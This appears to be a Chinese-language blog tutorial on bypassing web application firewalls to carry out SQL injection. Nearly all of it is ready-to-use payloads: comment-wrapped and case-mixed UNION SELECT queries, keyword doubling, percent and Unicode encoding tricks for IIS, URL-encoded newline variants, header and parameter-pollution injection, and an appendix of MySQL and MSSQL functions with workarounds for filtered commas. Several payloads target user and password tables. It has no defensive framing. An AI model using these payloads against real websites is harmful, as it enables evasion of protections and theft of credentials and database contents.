绕waf技巧之sql注入

waf,全名web application firewall,名为web应用防火墙,其实就是市面上的狗、锁、盾、神、宝等等。。可以保护主机、监控流量等。

waf会对sql注入进行过滤,弃置等操作致使sql注入失败,但是也有很多绕过方法

1.使用注释符:

“#”   “--+” “ -- -”   “//“      ”/**/“等等

举例:index.php?id=15 /*!UNION*/ /*!SELECT*/ 1,2,3,4….

2.使用科学记数法:

举例:index.php?id=1e1union select urser,password from mysql.user

3.使用使用大小写:

举例:index.php?id=15 uNIoN sELecT 1,2,3,4….

4.关键字替换:

举例:index.php?id=15 UNIunionON SELselectECT 1,2,3,4….

5.内部注释:

(1)asp+iis环境中,可能会忽略%,而waf不会,所以可尝试以下方法:

        id=1' union se%lect user fr%om username

 (2)iis支持unicode解析,会自动转换unicode编码,但waf不会转换,所以:

id=\u0031\u0020\u0075\u006e\u0069\u006f\u006e\u0020\u0073\u0065\u006c\u0065\u0063\u0074\u0020\u0075\u0073\u0065\u0072\u002c\u0070\u0061\u0073\u0073\u0077\u006f\u0072\u0064\u0020\u0066\u0072\u006f\u006d\u0020\u0061\u0064\u006d\u0069\u006e

转换后是id=1 union select user,password from admin

也可以做单个字符的转换,例如:s%u0065lect      s%u00f0lect    下面列出可能有用的转换:

字母a:%u0000、%u0041、%u0061、%u00aa、%u00e2

' :%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27

空白:%c0020、%cff00


6. url 编码变形

例如:?id=1 union%23%0Aselect user from ...

          ?id=1 union%2d%2d%0Aselect user from ...


7. 特殊绕过:

select(from) 可能可以绕过

union(select 1,(select ... from ... ))可能可以绕过

id=.1 union select ... from ...可能可以绕过

使用mysql自定义变量的特性:?id=1|@pwd:=(select ... from ... where id =1) union select @pwd;

有些waf对post注入检查而不检查url

8. 可以不局限于get,post方式的绕过,可以对各种head头选择绕过,如cookie,x-forwarded-for等。例如:

content-disposition : from-data;name="id" 

1' union select 1,2,3,4,5-- 

这里提一个HPI:http参数注入,攻击者可以在应用程序服务器提出的后端http请求中注入任意参数。如果注入后端请求中已存在的参数,就可以利用http参数污染(HPP)攻击覆盖服务器指定的原始参数值。需要观察目标服务器如何处理多个同名参数,以及后端请求中的插入点是否正确




最后附录可运用的sql函数&关键字:

MySQL:
    union distinct
    union distinctrow
    procedure analyse()
    updatexml()
    extracavalue()
    exp()
    ceil()
    atan()
    sqrt()
    floor()
    ceiling()
    tan()
    rand()
    sign()
    greatest()
字符串截取函数
    Mid(version(),1,1)
    Substr(version(),1,1)
    Substring(version(),1,1)
    Lpad(version(),1,1)
    Rpad(version(),1,1)
    Left(version(),1)
    reverse(right(reverse(version()),1)
字符串连接函数
    concat(version(),'|',user());
    concat_ws('|',1,2,3)
字符转换
    Char(49)
    Hex('a')
    Unhex(61)
    过滤了逗号
limit处的逗号:
    limit 1 offset 0
字符串截取处的逗号
    mid处的逗号:
    mid(version() from 1 for 1)
 MSSQL:
    IS_SRVROLEMEMBER()
    IS_MEMBER()
    HAS_DBACCESS()
    convert()
    col_name()
    object_id()
    is_srvrolemember()
    is_member()
字符串截取函数
    Substring(@@version,1,1)
    Left(@@version,1)
    Right(@@version,1)
字符串转换函数
    Ascii('a') 这里的函数可以在括号之间添加空格的,一些waf过滤不严会导致bypass
    Char('97')
    exec

你可能感兴趣的:(绕waf技巧之sql注入)